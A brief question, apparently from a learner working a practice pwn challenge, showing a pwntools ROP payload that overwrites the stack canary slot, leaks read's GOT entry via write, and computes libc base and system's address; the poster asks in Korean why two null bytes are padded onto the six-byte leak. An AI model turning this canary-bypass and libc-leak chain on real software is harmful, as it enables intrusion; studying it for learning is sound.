payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

write(1, read_got, ...)

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

read = u64(p.recvn(6) + b'\x00'*2)

2바이트를 왜 뒤에 추가하는지 이해가 가지 않습니다! 왜 그럴까요?